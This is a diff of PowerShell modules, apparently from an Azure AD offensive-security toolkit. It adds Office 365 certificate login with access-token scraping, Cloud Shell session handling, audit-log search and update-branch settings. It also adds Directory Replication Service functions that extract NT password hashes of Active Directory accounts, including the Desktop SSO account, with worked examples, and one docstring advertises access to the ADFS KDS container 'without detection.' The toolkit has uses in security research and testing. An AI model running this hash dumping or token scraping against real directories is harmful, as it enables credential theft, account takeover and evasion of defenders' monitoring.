$response = Invoke-WebRequest -UseBasicParsing -Uri "https://www.office.com/login?ru=%2F%3Ffrom%3DPortalHome" -Method Get -WebSession $webSession -ErrorAction SilentlyContinue -MaximumRedirection 0
|
||||
$url = $response.Headers.'Location'
|
||||
|
||||
# Get the login parameters and cookies with the certificate
|
||||
$loginInfo = Get-LoginParametersUsingCBA -Url $url -TenantId $TenantId -Certificate $certificate -WebSession $webSession
|
||||
|
||||
# Send parameters to redirect_url
|
||||
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://www.office.com/landingv2" -Method Post -Body $loginInfo.parameters -MaximumRedirection 1 -ErrorAction SilentlyContinue -WebSession $webSession
|
||||
|
||||
# Parse tokens from the html
|
||||
$tokens = (Get-Substring -String $response2 -Start '<div id="primaryTokensInfo" style="display: none;">' -End "</div>").replace('"','"') | ConvertFrom-Json
|
||||
|
||||
# Return an array of access tokens
|
||||
$retVal = @()
|
||||
foreach($token in ($tokens | Get-Member -MemberType NoteProperty))
|
||||
{
|
||||
$value = $tokens | Select -ExpandProperty $token.Name
|
||||
$retVal += $value.TokenValue
|
||||
}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
function Get-LoginParametersUsingCBA
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Url,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$TenantId,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Microsoft.PowerShell.Commands.WebRequestSession]$WebSession
|
||||
)
|
||||
Process
|
||||
{
|
||||
function Get-Config
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Content
|
||||
)
|
||||
Process
|
||||
{
|
||||
$strConfig = Get-Substring -String $Content -Start '$Config=' -End ";`n"
|
||||
if([string]::IsNullOrEmpty($strConfig))
|
||||
{
|
||||
Throw "Could not parse config"
|
||||
}
|
||||
try
|
||||
{
|
||||
return $strConfig | ConvertFrom-Json
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "Coud not parse config"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$nonce = (New-Guid).ToString()
|
||||
|
||||
# Make an initial request to login.microsoftonline.com to get required tokens and config
|
||||
$response1 = Invoke-WebRequest -UseBasicParsing -Uri $Url -Method Get -WebSession $WebSession -ErrorAction SilentlyContinue
|
||||
|
||||
|
||||
# Extract the config
|
||||
$config = Get-Config -Content $response1.Content
|
||||
|
||||
# Make request to https://certauth.login.microsoftonline.com/<tenantid>/certauth
|
||||
$body = @{
|
||||
"ctx"=$config.sCtx
|
||||
"flowToken"=$config.sFT
|
||||
}
|
||||
|
||||
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://certauth.login.microsoftonline.com/$TenantId/certauth" -Method Post -Body $body -Certificate $Certificate
|
||||
|
||||
# Parse the hidden form fields
|
||||
$parameters = @{}
|
||||
foreach($e in $response2.html.body.form.input)
|
||||
{
|
||||
$parameters[$e.name]=$e.value
|
||||
}
|
||||
|
||||
# Make the final request to login.microsoftonline.com to get cookies
|
||||
$response3 = Invoke-WebRequest -UseBasicParsing -Uri "https://login.microsoftonline.com/common/login" -Method Post -Headers @{"Referer"="https://certauth.login.microsoftonline.com/"} -Body $parameters
|
||||
|
||||
# Parse the config
|
||||
$config = Get-Config -Content $response3.content
|
||||
|
||||
if(-not [string]::IsNullOrEmpty($config.strMainMessage))
|
||||
{
|
||||
Throw $config.strServiceExceptionMessage
|
||||
}
|
||||
|
||||
# Get the cookies
|
||||
foreach($cookie in $response3.Headers.'Set-Cookie'.Split(","))
|
||||
{
|
||||
$parts = $cookie.Split(";")[0].Split("=")
|
||||
switch($parts[0])
|
||||
{
|
||||
"ESTSAUTH" { $estsauth = $parts[1] }
|
||||
"ESTSAUTHLIGHT" { $estsauthlight = $parts[1] }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Write-Host "Logged in as $($config.sPOST_Username)" -ForegroundColor Green
|
||||
|
||||
# Make a request to login.microsoftonline.com/kmsi to get code and id_token
|
||||
$body = @{
|
||||
"LoginOptions" = "3"
|
||||
"type" = "28"
|
||||
"ctx" = $config.sCtx
|
||||
"hpgrequestid" = $config.sessionId
|
||||
"flowToken" = $config.sFT
|
||||
"canary" = $config.canary
|
||||
"i19" = "2326"
|
||||
}
|
||||
$response4 = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/kmsi" -Method Post -WebSession $WebSession -Body $body
|
||||
|
||||
# Parse the hidden form fields
|
||||
$parameters = @{}
|
||||
foreach($e in $response4.html.body.form.input)
|
||||
{
|
||||
$parameters[$e.name]=$e.value
|
||||
}
|
||||
|
||||
if(-not $parameters.ContainsKey("code"))
|
||||
{
|
||||
$config = Get-Config -Content $response4
|
||||
if(-not [string]::IsNullOrEmpty($config.strMainMessage))
|
||||
{
|
||||
Throw $config.strServiceExceptionMessage
|
||||
}
|
||||
Throw "Could not get authorization code!"
|
||||
}
|
||||
|
||||
# Return
|
||||
return New-Object psobject -Property @{
|
||||
"parameters" = $parameters
|
||||
"ESTSAUTH" = $estsauth
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
# This script contains functions for client side
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets the Office update branch of the local computer
|
||||
|
||||
.DESCRIPTION
|
||||
Gets the Office update branch of the local computer from the registry
|
||||
|
||||
.Example
|
||||
Get-AADIntOfficeUpdateBranch
|
||||
|
||||
Update branch: Current
|
||||
|
||||
#>
|
||||
# Jul 8th 2019
|
||||
function Get-OfficeUpdateBranch
|
||||
{
|
||||
Param(
|
||||
|
||||
[ValidateSet('16.0')]
|
||||
[String]$Version="16.0"
|
||||
)
|
||||
Process
|
||||
{
|
||||
$reg=Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\"
|
||||
|
||||
Write-Host "Update branch: $($reg.updateBranch)"
|
||||
#Write-Host "Automatic updates enabled: $($reg.EnableAutomaticUpdates -ne 0)"
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the Office update branch of the local computer
|
||||
|
||||
.DESCRIPTION
|
||||
Sets the Office update branch of the local computer to the registry. Requires administrator rights!
|
||||
|
||||
.Example
|
||||
Set-AADIntOfficeUpdateBranch -UpdateBranch InsiderFast
|
||||
|
||||
Update branch: InsiderFast
|
||||
|
||||
#>
|
||||
# Jul 8th 2019
|
||||
function Set-OfficeUpdateBranch
|
||||
{
|
||||
Param(
|
||||
[ValidateSet('16.0')]
|
||||
[String]$Version="16.0",
|
||||
[ValidateSet('InsiderFast','FirstReleaseCurrent','Current','FirstReleaseDeferred','Deferred','DogFood')]
|
||||
[String]$UpdateBranch="Current"
|
||||
)
|
||||
Process
|
||||
{
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\" -Name "updateBranch" -Value $UpdateBranch
|
||||
|
||||
Get-OfficeUpdateBranch -Version $Version
|
||||
}
|
||||
}
|
||||
+164
@@ -0,0 +1,164 @@
|
||||
# Starts Azure Cloud Shell session
|
||||
# Sep 8th 2020
|
||||
function Start-CloudShell
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Starts an Azure Cloud Shell session.
|
||||
|
||||
.DESCRIPTION
|
||||
Starts an Azure Cloud Shell session for the given user.
|
||||
Note: Does not work with VSCode or ISE.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to start the session.
|
||||
|
||||
.EXAMPLE
|
||||
Get-AADIntAccessTokenForCloudShell -SaveToCache
|
||||
PS\:>Start-AADIntCloudShell
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[ValidateSet('PowerShell','Bash')]
|
||||
[String]$Shell="PowerShell"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "0c1307d4-29d6-4389-a11c-5cbe7f65d7fa"
|
||||
|
||||
if(!$host.UI.SupportsVirtualTerminal)
|
||||
{
|
||||
Write-Error "PowerShell ISE or VSCode not supported!"
|
||||
return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
# Get the shell info
|
||||
$shellInfo = New-CloudShell -AccessToken $AccessToken
|
||||
Write-Verbose "Created shell $($shellInfo.uri)"
|
||||
|
||||
# Get the authorization code
|
||||
$authToken = Get-CloudShellAuthToken -AccessToken $AccessToken -Url $shellInfo.uri
|
||||
Write-Verbose "Received auth-token $authToken"
|
||||
|
||||
# Get the settings
|
||||
$settings = Get-CloudShellSettings -AccessToken $AccessToken -Url $shellInfo.uri -Shell $Shell
|
||||
Write-Verbose "Received cloud shell settings"
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error "Failed to connect to Cloud Shell $($_.Message)"
|
||||
return
|
||||
}
|
||||
|
||||
# Save the current setting for Ctrl+C
|
||||
$CtrlC = [console]::TreatControlCAsInput
|
||||
|
||||
Try
|
||||
{
|
||||
$url = $settings.socketUri
|
||||
|
||||
# Create the socket and keep alive
|
||||
$socket = New-Object System.Net.WebSockets.ClientWebSocket
|
||||
|
||||
# Set the cookies
|
||||
$cookiec = [System.Net.CookieContainer]::new(1)
|
||||
$cookie = [System.Net.Cookie]::new("auth-token", $authToken)
|
||||
$cookie.Domain = ".console.azure.com"
|
||||
$cookiec.Add($cookie)
|
||||
$socket.Options.Cookies = $cookiec
|
||||
|
||||
# Create the token and open the connection
|
||||
$token = New-Object System.Threading.CancellationToken
|
||||
$connection = $socket.ConnectAsync($url, $token)
|
||||
|
||||
Write-Verbose "Connecting to socket $($settings.socketUri)"
|
||||
|
||||
# Wait 'till the connection is completed
|
||||
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 }
|
||||
|
||||
if($connection.IsFaulted -eq "True")
|
||||
{
|
||||
Write-Error $connection.Exception
|
||||
return
|
||||
}
|
||||
|
||||
Write-Verbose "Connected to socket."
|
||||
|
||||
# Buffer for the content
|
||||
$buffer = New-Object Byte[] 1024
|
||||
$socket_in = $Socket.ReceiveAsync($buffer, $Token)
|
||||
|
||||
# Clear the console and set the Ctlr+C to be used as an input (so that we can stop things running in cloud)
|
||||
[console]::TreatControlCAsInput = $true
|
||||
[console]::Clear()
|
||||
|
||||
|
||||
# The main loop
|
||||
do
|
||||
{
|
||||
# If the read is completed, print it to console and start another read
|
||||
if($socket_in.IsCompleted)
|
||||
{
|
||||
$retVal = $buffer[0..$($socket_in.Result.Count-1)]
|
||||
|
||||
$text = [text.encoding]::UTF8.GetString($retVal)
|
||||
|
||||
[console]::Write($text)
|
||||
|
||||
$socket_in = $Socket.ReceiveAsync($buffer, $Token)
|
||||
}
|
||||
|
||||
# Read the key if available
|
||||
if([console]::KeyAvailable)
|
||||
{
|
||||
$key = [console]::ReadKey($True)
|
||||
|
||||
# https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences
|
||||
switch($key.Key)
|
||||
{
|
||||
"Insert" { $keyBytes = [byte[]]@(27,91,50,126) }
|
||||
"Delete" { $keyBytes = [byte[]]@(27,91,51,126) }
|
||||
"PageUp" { $keyBytes = [byte[]]@(27,91,53,126) }
|
||||
"PageDown" { $keyBytes = [byte[]]@(27,91,54,126) }
|
||||
|
||||
"UpArrow" { $keyBytes = [byte[]]@(27,79,65) }
|
||||
"DownArrow" { $keyBytes = [byte[]]@(27,79,66) }
|
||||
"RightArrow" { $keyBytes = [byte[]]@(27,79,67) }
|
||||
"LeftArrow" { $keyBytes = [byte[]]@(27,79,68) }
|
||||
"Home" { $keyBytes = [byte[]]@(27,79,72) }
|
||||
"End" { $keyBytes = [byte[]]@(27,79,70) }
|
||||
default { $keyBytes = [text.encoding]::UTF8.GetBytes($key.KeyChar) }
|
||||
}
|
||||
|
||||
SendToSocket -Socket $socket -Token $token -Bytes $keyBytes
|
||||
}
|
||||
|
||||
} Until (!$connection -or $socket_in.IsFaulted -eq "True")
|
||||
|
||||
}
|
||||
Catch
|
||||
{
|
||||
Write-Error $_
|
||||
}
|
||||
Finally
|
||||
{
|
||||
|
||||
# Return the original Ctrl+C
|
||||
[console]::TreatControlCAsInput = $CtrlC
|
||||
|
||||
If ($socket) {
|
||||
Write-Verbose "Closing websocket"
|
||||
$socket.Dispose()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
# Creates a new Cloud Shell
|
||||
# Sep 8th 2020
|
||||
function New-CloudShell
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PreferredLocation="westeurope"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "c44b4083-3bb0-49c1-b47d-974e53cbdf3c"
|
||||
|
||||
$headers=@{
|
||||
"x-ms-console-preferred-location" = $PreferredLocation
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
$body = '{"properties":{"osType":"linux"}}'
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2020-04-01-preview" -Method Put -Body $body -Headers $headers -ErrorAction SilentlyContinue
|
||||
|
||||
# return
|
||||
return $response.properties
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets cloud shell authorization token
|
||||
# Sep 8th 2020
|
||||
function Get-CloudShellAuthToken
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Url
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create headers
|
||||
$headers=@{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Empty body
|
||||
$body = '{}'
|
||||
|
||||
# Fix the url
|
||||
$url = $url.Replace(":443","")
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/authorize" -Method Post -Body $body -Headers $headers
|
||||
|
||||
# return
|
||||
return $response.token
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets cloud shell settings
|
||||
# Sep 8th 2020
|
||||
function Get-CloudShellSettings
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Url,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Shell="pwsh"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create headers
|
||||
$headers=@{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Get the window size
|
||||
$rows = [console]::WindowHeight
|
||||
$cols = [console]::WindowWidth
|
||||
|
||||
if($Shell -ne "Bash")
|
||||
{
|
||||
$Shell = "pwsh"
|
||||
}
|
||||
|
||||
# Empty body
|
||||
$body = '{}'
|
||||
|
||||
# Fix the url
|
||||
$url = $url.Replace(":443","")
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/terminals?cols=$cols&rows=$rows&version=2019-01-01&shell=$Shell" -Method Post -Body $body -Headers $headers
|
||||
|
||||
# return
|
||||
return $response
|
||||
|
||||
}
|
||||
}
|
||||
+2479
File diff suppressed because one or more lines are too long
@@ -0,0 +1,167 @@
|
||||
# This file contains functions for Compliance API
|
||||
|
||||
# Aug 31st 2021
|
||||
# Gets cookies used with compliance API functions
|
||||
function Get-ComplianceAPICookies
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets cookies used with compliance API functions
|
||||
|
||||
.DESCRIPTION
|
||||
Gets cookies used with compliance API functions.
|
||||
Note: Uses interactive login form so AAD Joined or Registered computers may login automatically. If this happens, start PowerShell as another user and try again.
|
||||
|
||||
.Example
|
||||
PS C:\>$cookies = Get-AADIntComplianceAPICookies
|
||||
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | Set-Content auditlog.json
|
||||
|
||||
.Example
|
||||
PS C:\>$cookies = Get-AADIntComplianceAPICookies
|
||||
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | ConvertTo-Csv | Set-Content auditlog.csv
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
Write-Warning "Get-AADIntComplianceAPICookies function doesn't work right with SSO. If credentials are not prompted, start PowerShell as another user and try again."
|
||||
|
||||
$url = "https://compliance.microsoft.com"
|
||||
|
||||
# Get the first set of cookies
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $url -SessionVariable "WebSession" -Method get -MaximumRedirection 0 -ErrorAction SilentlyContinue
|
||||
$url = $response.Headers["location"]
|
||||
|
||||
$form = Create-LoginForm -Url $url -auth_redirect "https://login.microsoftonline.com/kmsi"
|
||||
|
||||
# Show the form and wait for the return value
|
||||
if($form.ShowDialog() -ne "OK") {
|
||||
# Dispose the control
|
||||
$form.Dispose()
|
||||
Write-Verbose "Login cancelled"
|
||||
return $null
|
||||
}
|
||||
|
||||
# Parse the hidden form to get the parameters
|
||||
$hiddenForm = $form.controls[0].document.DomDocument.forms[0]
|
||||
$redirect = $hiddenForm.action
|
||||
$body=@{}
|
||||
foreach($element in $hiddenForm.elements)
|
||||
{
|
||||
if($element.Type -eq "hidden")
|
||||
{
|
||||
$body[$element.Name] = $element.Value
|
||||
}
|
||||
}
|
||||
# Increase the cookie maximum size and get the second set of cookies.
|
||||
$websession.Cookies.MaxCookieSize=65536
|
||||
$response = Invoke-WebRequest -UseBasicParsing -Uri $redirect -body $body -WebSession $WebSession -Method post -MaximumRedirection 1 -ErrorAction SilentlyContinue
|
||||
|
||||
# Dispose the form
|
||||
$form.Dispose()
|
||||
|
||||
# Extract the required cookies (sccauth & XSRF-TOKEN)
|
||||
$cookies = $WebSession.cookies.GetCookies("https://compliance.microsoft.com")
|
||||
$attributes = [ordered]@{
|
||||
"sccauth" = $cookies["sccauth" ].value
|
||||
"XSRF-TOKEN" = $cookies["XSRF-TOKEN"].value
|
||||
}
|
||||
|
||||
# Return
|
||||
New-Object psobject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Aug 31st
|
||||
# Searches UnifiedAuditLog
|
||||
function Search-UnifiedAuditLog
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Searches Unified Audit Log
|
||||
|
||||
.DESCRIPTION
|
||||
Searches Unified Audit Log using https://compliance.microsoft.com/api
|
||||
|
||||
.Parameter Cookies
|
||||
Compliance API cookies. A PSObject with sccauth and XSRF-TOKEN properties.
|
||||
|
||||
.Parameter Start
|
||||
Start time (date) of the search. Defaults to current date - 1 day.
|
||||
|
||||
.Parameter End
|
||||
Start time (date) of the search. Defaults to current date.
|
||||
|
||||
.Parameter All
|
||||
If provided, returns all results (max 50100)
|
||||
|
||||
.Parameter IpAddresses
|
||||
List of IP addresses to search.
|
||||
|
||||
.Parameter Operations
|
||||
List of operations to search. The list of available operations: https://docs.microsoft.com/microsoft-365/compliance/search-the-audit-log-in-security-and-compliance#audited-activities
|
||||
|
||||
.Parameter Target
|
||||
The target file, folder, or site. Url or a part of it withouth spaces.
|
||||
|
||||
.Parameter Users
|
||||
List of users to search. UPNs and partial UPNs seem to work.
|
||||
|
||||
.Example
|
||||
PS C:\>$cookies = Get-AADIntComplianceAPICookies
|
||||
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | Set-Content auditlog.json
|
||||
|
||||
.Example
|
||||
PS C:\>$cookies = Get-ComplianceAPICookies
|
||||
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | ConvertTo-Csv | Set-Content auditlog.csv
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[psobject]$Cookies,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[datetime]$Start = (Get-Date).AddDays(-1),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[datetime]$End = (Get-Date),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[switch]$All,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string[]]$IpAddresses,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$Target,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string[]]$Operations,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string[]]$Users
|
||||
)
|
||||
Process
|
||||
{
|
||||
$body=@{
|
||||
"newSession" = $true
|
||||
"optin" = $true
|
||||
"sessionId" = [uint64]((Get-Date).ToUniversalTime() - $epoch).totalmilliseconds
|
||||
"startDate" = "$($Start.ToString("yyyy-MM-dd")) 00:00:00 +0000"
|
||||
"endDate" = "$( $End.ToString("yyyy-MM-dd")) 00:00:00 +0000"
|
||||
"ipAddresses" = $IpAddresses -join ","
|
||||
"targetObject" = $Target
|
||||
"operations" = $Operations -join ","
|
||||
"users" = $Users -join ","
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
# Invoke the request
|
||||
$results = Invoke-ComplianceAPIRequest -Cookies $Cookies -api "UnifiedAuditLog" -Method POST -Body ($body|ConvertTo-Json)
|
||||
|
||||
# Change the newSession to false to fetch rest of the events
|
||||
$body["newSession"] = $false
|
||||
|
||||
# Verbose
|
||||
Write-Verbose "Received: $($results[$results.count-1].ResultIndex)/$($results[$results.count-1].ResultCount)"
|
||||
|
||||
# Return
|
||||
$results
|
||||
} # If -All switch used, loop until all results received
|
||||
while($All -and $results[$results.count-1].ResultIndex -lt $results[$results.count-1].ResultCount)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
# This file contains utility functions for Compliance API
|
||||
|
||||
# Invokes request for the given compliance API call
|
||||
# Aug 31st 2021
|
||||
function Invoke-ComplianceAPIRequest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[psobject]$Cookies,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$api,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Method = "Get",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Body = $null,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ContentType = "application/json; charset=utf-8",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Hashtable]$Headers=@{}
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the cookies
|
||||
if(!($Cookies.'XSRF-TOKEN' -and $Cookies.sccauth))
|
||||
{
|
||||
Throw "XSRF-TOKEN and sccauth cookies required!"
|
||||
}
|
||||
|
||||
$url = "https://compliance.microsoft.com/api/$api"
|
||||
|
||||
# First, add XSRF-TOKEN to headers
|
||||
$Headers["X-XSRF-TOKEN"] = [System.Net.WebUtility]::UrlDecode($Cookies.'XSRF-TOKEN')
|
||||
|
||||
# Create a web session for the cookies
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$session.Cookies.Add([System.Net.Cookie]::new("XSRF-TOKEN",$Cookies.'XSRF-TOKEN',"/","compliance.microsoft.com"))
|
||||
$session.Cookies.Add([System.Net.Cookie]::new("sccauth", $Cookies.sccauth ,"/","compliance.microsoft.com"))
|
||||
$session.Cookies.MaxCookieSize=65536
|
||||
|
||||
# Invoke the command
|
||||
if($Method -eq "Put" -or $Method -eq "Post")
|
||||
{
|
||||
Invoke-RestMethod -UseBasicParsing -Method $Method -Uri $url -Headers $Headers -WebSession $session -Body $body -ContentType $ContentType
|
||||
}
|
||||
else
|
||||
{
|
||||
Invoke-RestMethod -UseBasicParsing -Method $Method -Uri $url -Headers $Headers -WebSession $session -ContentType $ContentType
|
||||
}
|
||||
}
|
||||
}
|
||||
+323
@@ -0,0 +1,323 @@
|
||||
# This script contains functions for Active Directory Replication Service (DRS)
|
||||
|
||||
# Mar 22nd 2021
|
||||
function Get-DesktopSSOAccountPassword
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets NTHash of Desktop SSO account
|
||||
|
||||
.DESCRIPTION
|
||||
Gets NTHash of Desktop SSO account using Directory Replication Service (DRS).
|
||||
|
||||
.PARAMETER AccountName
|
||||
The name of the Desktop SSO computer account. Defaults to AZUREADSSOACC
|
||||
|
||||
.PARAMETER Credentials
|
||||
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
|
||||
|
||||
.PARAMETER Server
|
||||
Name or ip address of the Domain Contoller.
|
||||
|
||||
.PARAMETER AsHex
|
||||
If defined, returns the NTHash as hex string.
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>$NTHash = Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server 192.168.0.10
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server dc01 -AsHex
|
||||
|
||||
ed31d88da3fc9aaa850ead2161faa815
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[String]$AccountName="AZUREADSSOACC",
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Switch]$AsHex
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Get the object guid for the given account name
|
||||
$dirEntry = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$Server",$Credentials.UserName, $Credentials.GetNetworkCredential().Password)
|
||||
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new($dirEntry)
|
||||
$ADSearch.Filter = "(name=$AccountName)"
|
||||
$aduser = $ADSearch.FindOne()
|
||||
$ObjectGuid = $aduser.Properties["ObjectGuid"][0]
|
||||
|
||||
if($AsHex)
|
||||
{
|
||||
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -AsHex
|
||||
}
|
||||
else
|
||||
{
|
||||
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Mar 21st 2021
|
||||
function Get-ADUserNTHash
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets NTHash of the given object
|
||||
|
||||
.DESCRIPTION
|
||||
Gets NTHash for the given object ID using Directory Replication Service (DRS).
|
||||
|
||||
.PARAMETER ObjectGuid
|
||||
Guid of the AD object
|
||||
|
||||
.PARAMETER Credentials
|
||||
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
|
||||
|
||||
.PARAMETER Server
|
||||
Name or ip address of the Domain Contoller.
|
||||
|
||||
.PARAMETER AsHex
|
||||
If defined, returns the NTHash as hex string.
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>$NTHash = Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server 192.168.0.10
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>Get-AADIntAdUserNTHash -ObjectGuid 36f71b0f-9963-48e9-8efa-9441f54ed1a4 -Credentials $cred -Server dc01 -AsHex
|
||||
|
||||
ed31d88da3fc9aaa850ead2161faa815
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(ParameterSetName='Guid',Mandatory=$true)]
|
||||
[Guid]$ObjectGuid=[guid]::Empty,
|
||||
[Parameter(ParameterSetName='DN',Mandatory=$true)]
|
||||
[String]$DistinguishedName,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Switch]$AsHex
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
$ADObject = Replicate-ADObject -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -DistinguishedName $DistinguishedName
|
||||
|
||||
if($ADObject.NTHash)
|
||||
{
|
||||
if($AsHex)
|
||||
{
|
||||
return Convert-ByteArrayToHex -Bytes $ADObject.NTHash
|
||||
}
|
||||
else
|
||||
{
|
||||
return $ADObject.NTHash
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Mar 21st 2021
|
||||
function Get-ADUserThumbnailPhoto
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets thumbnailPhoto of the given object
|
||||
|
||||
.DESCRIPTION
|
||||
Gets thumbnailPhoto for the given object ID using Directory Replication Service (DRS).
|
||||
Can be used to access ADFS KDS container without detection.
|
||||
|
||||
.PARAMETER ObjectGuid
|
||||
Guid of the AD object
|
||||
|
||||
.PARAMETER Credentials
|
||||
